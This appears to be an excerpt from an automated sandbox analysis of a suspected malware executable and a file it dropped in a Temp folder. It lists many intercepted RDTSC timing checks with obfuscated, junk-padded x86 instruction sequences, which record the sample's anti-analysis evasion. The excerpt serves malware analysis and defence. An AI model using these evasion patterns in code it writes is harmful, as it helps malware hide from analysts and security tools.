Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A70125 second address: 4A70129 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A70129 second address: 4A70143 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A81335216h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A70143 second address: 4A70155 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3A80CCDB9Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A70155 second address: 4A70159 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A70C16 second address: 4A70C1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A70C1C second address: 4A70C22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A70C22 second address: 4A70C6B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F3A80CCDBA0h 0x0000000f xchg eax, esi 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushfd 0x00000014 jmp 00007F3A80CCDBA8h 0x00000019 add ecx, 21768838h 0x0000001f jmp 00007F3A80CCDB9Bh 0x00000024 popfd 0x00000025 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A70C6B second address: 4A70CB9 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F3A81335218h 0x00000008 adc esi, 659A8298h 0x0000000e jmp 00007F3A8133520Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 push eax 0x00000018 pushad 0x00000019 pushad 0x0000001a mov bx, C1C8h 0x0000001e movsx edi, ax 0x00000021 popad 0x00000022 mov si, 3C99h 0x00000026 popad 0x00000027 xchg eax, esi 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F3A8133520Bh 0x0000002f rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A70CB9 second address: 4A70D24 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A80CCDBA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, dword ptr [ebp+0Ch] 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F3A80CCDB9Ch 0x00000013 jmp 00007F3A80CCDBA5h 0x00000018 popfd 0x00000019 push eax 0x0000001a push edx 0x0000001b pushfd 0x0000001c jmp 00007F3A80CCDB9Eh 0x00000021 jmp 00007F3A80CCDBA5h 0x00000026 popfd 0x00000027 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A70D24 second address: 4A70D36 instructions: 0x00000000 rdtsc 0x00000002 mov esi, 2F8094D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a test esi, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A70D36 second address: 4A70D3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A70D3A second address: 4A70D40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A70D40 second address: 4A70D45 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A70D45 second address: 4A70D75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edx, ecx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F3AF34E286Fh 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 movsx edx, ax 0x00000015 pushfd 0x00000016 jmp 00007F3A8133520Ah 0x0000001b xor ah, FFFFFFA8h 0x0000001e jmp 00007F3A8133520Bh 0x00000023 popfd 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A70D75 second address: 4A70D7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A70D7B second address: 4A70D7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A70D7F second address: 4A70E1C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A80CCDB9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b cmp dword ptr [76C8459Ch], 05h 0x00000012 jmp 00007F3A80CCDBA6h 0x00000017 je 00007F3AF2E93280h 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F3A80CCDB9Eh 0x00000024 adc ax, 4268h 0x00000029 jmp 00007F3A80CCDB9Bh 0x0000002e popfd 0x0000002f push eax 0x00000030 pushfd 0x00000031 jmp 00007F3A80CCDB9Fh 0x00000036 add ax, D5AEh 0x0000003b jmp 00007F3A80CCDBA9h 0x00000040 popfd 0x00000041 pop eax 0x00000042 popad 0x00000043 push ebx 0x00000044 push eax 0x00000045 push edx 0x00000046 jmp 00007F3A80CCDBA3h 0x0000004b rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A70E1C second address: 4A70E34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3A81335214h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A70E34 second address: 4A70E5C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F3A80CCDBA9h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A70E5C second address: 4A70E60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A70E60 second address: 4A70E66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A70E66 second address: 4A70E6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A70E6C second address: 4A70E70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A70E84 second address: 4A70E8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A70E8A second address: 4A70E8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A70E8E second address: 4A70EBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 pushad 0x0000000a jmp 00007F3A81335218h 0x0000000f mov ah, 27h 0x00000011 popad 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 movsx edx, si 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: 4A70EBC second address: 4A70EC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 2960A4 second address: 2960A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 2960A8 second address: 2960C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007F3A80CCDBA2h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 29DCF4 second address: 29DD11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F3A8133520Bh 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 29DD11 second address: 29DD1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F3A80CCDB96h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 29DD1B second address: 29DD21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 29DD21 second address: 29DD27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 29DD27 second address: 29DD2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 29E122 second address: 29E137 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A80CCDBA1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 29E137 second address: 29E18F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3A8133520Dh 0x0000000b jmp 00007F3A81335213h 0x00000010 jmp 00007F3A81335219h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push edx 0x00000019 jmp 00007F3A81335210h 0x0000001e pop edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 29E18F second address: 29E193 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 29E193 second address: 29E199 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 29E44A second address: 29E44E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 29E44E second address: 29E46E instructions: 0x00000000 rdtsc 0x00000002 je 00007F3A81335206h 0x00000008 jmp 00007F3A81335216h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 29E46E second address: 29E474 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 29E474 second address: 29E478 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 29E478 second address: 29E494 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F3A80CCDBA2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 29E494 second address: 29E498 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 29E498 second address: 29E49C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 29E5D8 second address: 29E5EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F3A81335211h 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 29E5EF second address: 29E5FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 29E5FA second address: 29E628 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F3A81335206h 0x0000000a pop ebx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jp 00007F3A8133520Eh 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F3A8133520Fh 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 29E628 second address: 29E644 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F3A80CCDBA6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 29E644 second address: 29E64A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 29E64A second address: 29E654 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F3A80CCDB96h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 29E654 second address: 29E658 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 2A0C40 second address: 2A0C46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 2A0C46 second address: 2A0C4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 2A0C4A second address: 2A0C5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007F3A80CCDB96h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 2A0C5E second address: 2A0C64 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 2A0C64 second address: 2A0C6E instructions: 0x00000000 rdtsc 0x00000002 jp 00007F3A80CCDB9Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 2A0C6E second address: 2A0C7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 2A0C7D second address: 2A0C81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 2A0C81 second address: 2A0C85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 2A0D26 second address: 2A0D38 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push esi 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 2A0E7D second address: 2A0EAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 je 00007F3A81335210h 0x0000000c jmp 00007F3A8133520Ah 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jns 00007F3A8133520Ch 0x0000001b mov eax, dword ptr [eax] 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 jbe 00007F3A81335206h 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 2A0EAE second address: 2A0EB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 2A0EB8 second address: 2A0EDA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A81335213h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 2A0EDA second address: 2A0EF2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A80CCDBA4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 2A0EF2 second address: 2A0EF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 2A0EF8 second address: 2A0F99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 add dword ptr [ebp+122D3356h], ecx 0x0000000f push 00000003h 0x00000011 push 00000000h 0x00000013 push esi 0x00000014 call 00007F3A80CCDB98h 0x00000019 pop esi 0x0000001a mov dword ptr [esp+04h], esi 0x0000001e add dword ptr [esp+04h], 0000001Dh 0x00000026 inc esi 0x00000027 push esi 0x00000028 ret 0x00000029 pop esi 0x0000002a ret 0x0000002b mov dword ptr [ebp+124556D6h], edx 0x00000031 push 00000000h 0x00000033 mov edx, dword ptr [ebp+122D2E5Dh] 0x00000039 push 00000003h 0x0000003b sbb cx, 3F32h 0x00000040 call 00007F3A80CCDB99h 0x00000045 jmp 00007F3A80CCDB9Eh 0x0000004a push eax 0x0000004b push edi 0x0000004c push ebx 0x0000004d jnp 00007F3A80CCDB96h 0x00000053 pop ebx 0x00000054 pop edi 0x00000055 mov eax, dword ptr [esp+04h] 0x00000059 jmp 00007F3A80CCDBA2h 0x0000005e mov eax, dword ptr [eax] 0x00000060 push eax 0x00000061 push edx 0x00000062 push edi 0x00000063 jmp 00007F3A80CCDBA8h 0x00000068 pop edi 0x00000069 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 2A0F99 second address: 2A0FA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F3A81335206h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 2A0FA3 second address: 2A0FA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 2A0FA7 second address: 2A0FC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F3A8133520Eh 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 2A0FC7 second address: 2A0FEA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b and si, 3141h 0x00000010 lea ebx, dword ptr [ebp+12456B38h] 0x00000016 mov ecx, dword ptr [ebp+122D2DC1h] 0x0000001c xchg eax, ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f push edi 0x00000020 pushad 0x00000021 popad 0x00000022 pop edi 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 2A0FEA second address: 2A0FF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 2A105F second address: 2A1083 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F3A80CCDB96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007F3A80CCDB9Ch 0x00000010 jno 00007F3A80CCDB96h 0x00000016 popad 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b jnp 00007F3A80CCDB96h 0x00000021 push edx 0x00000022 pop edx 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 2A1083 second address: 2A10B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A81335218h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jnc 00007F3A8133520Ch 0x00000010 push 00000000h 0x00000012 push D81555CEh 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 2A10B9 second address: 2A10BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	RDTSC instruction interceptor: First address: 2A10BD second address: 2A10C3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
